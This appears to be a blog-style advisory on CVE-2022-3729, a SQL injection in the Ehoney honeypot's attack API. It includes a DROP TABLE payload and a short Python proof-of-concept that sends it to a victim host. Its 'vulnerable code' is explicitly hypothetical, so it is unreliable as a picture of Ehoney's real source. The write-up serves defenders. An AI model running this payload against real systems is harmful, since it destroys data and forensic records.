In the world of cybersecurity, SQL injection flaws remain some of the most dangerous and easy-to-exploit vulnerabilities. In this exclusive long read, we’ll break down the critical CVE-2022-3729, affecting the popular open-source honeypot project seccome Ehoney. This bug allows an attacker to compromise a system remotely by abusing the /api/v1/attack endpoint—specifically through the improper handling of the AttackIP parameter.

Let’s explore how this vulnerability works, its impact, and what you should do about it.

What Is seccome Ehoney?

seccome Ehoney is a lightweight honeypot platform commonly deployed by security researchers and organizations to detect, record, and analyze network attacks in real-time. The tool’s popularity comes from its ease of use and extensibility—attributes that unfortunately also bring risk if security is overlooked.

Core Issue

- Vulnerability ID: CVE-2022-3729
- Seccome Advisory: VDB-212411

Type: SQL Injection

- Endpoint: /api/v1/attack

Severity: Critical

In simple terms: Ehoney fails to safely sanitize user input from the AttackIP parameter when handling requests to /api/v1/attack. As a result, an attacker can inject malicious SQL statements, potentially gaining access to sensitive data, modifying or deleting records, or further compromising the host machine.

Consider this typical API request

POST /api/v1/attack HTTP/1.1
Host: victim-ehoney-host
Content-Type: application/json

{
  "AttackIP": "1.2.3.4",
  "AttackType": "scan",
  ...
}

The server-side application, when processing this input, directly inserts AttackIP into an SQL query without proper validation or parameterization.

Let’s look at what the vulnerable code might resemble

def handle_attack(request):
    attack_ip = request.json.get('AttackIP')
    attack_type = request.json.get('AttackType')
    # ...other params...
    query = f"INSERT INTO attacks (AttackIP, AttackType) VALUES ('{attack_ip}', '{attack_type}')"
    db.execute(query)

Problem: The attack_ip value is inserted directly into the SQL statement without any escaping or parameterization.

An attacker can easily send a specially crafted payload instead of a legitimate IP

{
  "AttackIP": "1.2.3.4'); DROP TABLE attacks;--",
  "AttackType": "scan"
}

Which results in the following SQL command

INSERT INTO attacks (AttackIP, AttackType) VALUES ('1.2.3.4'); DROP TABLE attacks;--', 'scan')

The malicious AttackIP ends the first statement and appends a destructive one (DROP TABLE attacks) which could erase crucial records.

Here’s how a simple proof-of-concept exploit could look

import requests

url = 'http://victim-ehoney-host/api/v1/attack';
malicious_ip = "1.2.3.4'); DROP TABLE attacks;--"
payload = {
    "AttackIP": malicious_ip,
    "AttackType": "scan"
}

response = requests.post(url, json=payload)
print(f"Status: {response.status_code}")
print(f"Body: {response.text}")

Warning: This is for educational and authorized testing only—do not exploit systems without permission.

Create a new admin user or escalate privileges.

The attack can be performed without any authentication if the API is exposed—making it extremely dangerous for internet-facing honeypots.

Data Loss: The attacks table or others may be wiped, resulting in lost forensic evidence.

- Privilege Escalation: It may be possible to inject commands that escalate privileges or create backdoors.

Mitigation & Fixes

- Upgrade: Always use the latest version of seccome Ehoney.

Patch: Ensure all inputs are sanitized using parameterized queries (prepared statements).

- Firewall: Restrict access to the /api/v1/attack endpoint to trusted IP addresses only.

References

- VulDB Entry VDB-212411
- CVE-2022-3729 – NIST
- seccome Ehoney GitHub
- OWASP SQL Injection

Conclusion

CVE-2022-3729 is a textbook example of why input validation and the use of secure coding practices are so important. If you’re running Ehoney, update immediately and audit your system for rogue or suspicious API activity. For defenders, this CVE serves as a stark reminder: the simplest mistakes can lead to the biggest breaches.

Got more questions or want in-depth guidance? Drop a comment below or reach out to your favorite cybersecurity forum.

Timeline

Published on: 10/28/2022 08:15:00 UTC
Last modified on: 10/31/2022 19:16:00 UTC